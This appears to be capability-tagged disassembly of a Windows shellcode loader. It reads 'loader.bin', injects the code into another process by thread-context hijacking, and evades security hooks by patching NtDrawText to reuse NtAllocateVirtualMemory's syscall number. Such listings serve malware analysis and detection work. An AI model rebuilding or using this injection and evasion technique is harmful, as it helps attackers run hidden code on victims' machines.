Function at 0x401870
Capabilities:
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbp
push rbx
sub rsp, 0x7d8
lea rbp, [rsp + 0x80]
call sym.__main
mov dword [rbp + 0x744], 0x648
lea rcx, str.NtAllocateVirtualMemory
call sym.FindSyscallNumber_char_const_
mov dword [rbp + 0x740], eax
lea rcx, str.NtDrawText
call sym.FindSyscallNumber_char_const_
mov dword [rbp + 0x73c], eax
lea rdx, str.SSN_of_NtAllocateVirtualMemory:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x740]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rdx, str.SSN_of_NtDrawText:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x73c]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.NtDrawText
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
lea rdx, str.Address_of_NtDrawText:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
cmp qword [rbp + 0x730], 0
setne al
movzx eax, al
mov edx, eax
call sym.std::ostream::operator___bool_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
cmp qword [rbp + 0x730], 0
je 0x401a58
mov rdx, qword [rbp + 0x730]
mov eax, dword [rbp + 0x740]
mov ecx, eax
call sym.ModifyFunctionToSyscall_unsigned_long__long_long______
test al, al
je 0x4019c2
mov edx, dword [rbp + 0x740]
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sym.VerifyModification_long_long_______unsigned_long_
test al, al
je 0x4019c2
mov eax, 1
jmp 0x4019c7
mov eax, 0
test al, al
je 0x401a36
lea rdx, str.NtDrawText_was_successfully_modified_to_use_the_SSN_of_NtAllocateVirtualMemory_
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sym.GetCurrentSSN_long_long______
mov dword [rbp + 0x72c], eax
lea rdx, str.The_new_SSN_of_NtDrawText_is:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x72c]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x401a58
lea rdx, str.Failed_to_modify_NtDrawText_to_use_the_SSN_of_NtAllocateVirtualMemory
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov edx, 2
mov ecx, 4
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp + 0x4e0]
mov r8d, edx
lea rdx, str.loader.bin
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x4e0]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::is_open__
xor eax, 1
test al, al
je 0x401ac4
lea rdx, str.Failed_to_open_shellcode_file.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4021bf
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x4e0]
mov rcx, rax
call sym.std::istream::tellg__
lea rax, [rbp + 0x6c0]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov qword [rbp + 0x720], rax
lea rax, [rbp + 0x4e0]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.std::istream::seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x6df]
mov rcx, rax
call fcn.00402348
mov rdx, qword [rbp + 0x720]
lea rcx, [rbp + 0x6df]
lea rax, [rbp + 0x4c0]
mov r8, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x6df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x4c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rcx, rax
mov rdx, qword [rbp + 0x720]
lea rax, [rbp + 0x4e0]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call sym.std::istream::read_char__long_long_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x401bbb
lea rdx, str.Failed_to_read_the_shellcode_from_file.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4021b0
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov eax, dword [rbp + 0x744]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
jne 0x401c83
lea rdx, str.Failed_to_open_process:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4021b0
mov qword [rbp + 0x4b8], 0
lea rax, [rbp + 0x4c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.size___const
mov qword [rbp + 0x4b0], rax
lea rdx, [rbp + 0x4b0]
lea rax, [rbp + 0x4b8]
mov rcx, qword [rbp + 0x700]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r10, qword [rbp + 0x710]
mov r9, rdx
mov r8d, 0
mov rdx, rax
call r10
mov dword [rbp + 0x6fc], eax
cmp dword [rbp + 0x6fc], 0
je 0x401d3d
lea rdx, str.Memory_allocation_failed:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6fc]
mov edx, eax
call sym.std::ostream::operator___long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x700]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x4021b0
mov rbx, qword [rbp + 0x4b0]
lea rax, [rbp + 0x4c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov r8, rax
mov rdx, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x700]
lea rax, [rbp + 0x4a8]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x401dda
lea rdx, str.Failed_to_write_shellcode:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x700]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x4021b0
lea r8, [rbp + 0x4b0]
lea rax, [rbp + 0x4b8]
mov rcx, qword [rbp + 0x700]
lea rdx, [rbp + 0x4a4]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x708]
mov r9d, 0x20
mov rdx, rax
call r10
mov dword [rbp + 0x6f8], eax
cmp dword [rbp + 0x6f8], 0
je 0x401e6c
lea rdx, str.Failed_to_change_memory_protection:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6f8]
mov edx, eax
call sym.std::ostream::operator___long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x700]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x4021b0
mov edx, 0
mov ecx, 4
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0xffffffffffffffff
jne 0x401eb8
lea rdx, str.CreateToolhelp32Snapshot__of_threads__failed
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4021b0
mov dword [rbp + 0x480], 0x1c
lea rax, [rbp + 0x480]
mov rcx, qword [rbp + 0x6f0]
mov rdx, rax
call sym.Thread32First
test eax, eax
sete al
test al, al
je 0x401f20
lea rdx, str.Thread32First_failed
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x4021b0
mov qword [rbp + 0x748], 0
mov eax, dword [rbp + 0x48c]
cmp dword [rbp + 0x744], eax
jne 0x401f66
mov eax, dword [rbp + 0x488]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f03ff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
jne 0x401f87
lea rax, [rbp + 0x480]
mov rcx, qword [rbp + 0x6f0]
mov rdx, rax
call sym.Thread32Next
test eax, eax
setne al
test al, al
je 0x401f88
jmp 0x401f2b
nop
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp + 0x748], 0
jne 0x401fe4
lea rdx, str.Failed_to_open_thread
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x700]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x4021b0
mov rax, qword [rbp + 0x748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
mov dword [rbp - 0x20], 0x10000b
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x748]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0x4b8]
mov qword [rbp + 0xa8], rax
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x748]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x748]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x700]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp + 0x730], 0
je 0x4021ab
mov rdx, qword [rbp + 0x730]
mov eax, dword [rbp + 0x740]
mov ecx, eax
call sym.ModifyFunctionToSyscall_unsigned_long__long_long______
test al, al
je 0x4020d1
mov edx, dword [rbp + 0x740]
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sym.VerifyModification_long_long_______unsigned_long_
test al, al
je 0x4020d1
mov eax, 1
jmp 0x4020d6
mov eax, 0
test al, al
je 0x402189
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sym.GetCurrentSSN_long_long______
mov dword [rbp + 0x6ec], eax
lea rdx, str.The_new_SSN_of_NtDrawText_is:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6ec]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rdx, str.NtDrawText_was_successfully_modified_to_use_the_SSN_of_NtAllocateVirtualMemory_
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x730]
mov edx, 0
mov rcx, rax
call sym.SetHardwareBreakpoint_long_long_______unsigned_long_
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov edx, dword [rbp + 0x740]
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sym.UpdateRAXandContinue_long_long_______unsigned_long_
jmp 0x4021ab
lea rdx, str.Failed_to_modify_NtDrawText.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004065d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
lea rax, [rbp + 0x4c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
lea rax, [rbp + 0x4e0]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
mov eax, ebx
jmp 0x402217
add rsp, 0x7d8
pop rbx
pop rbp
ret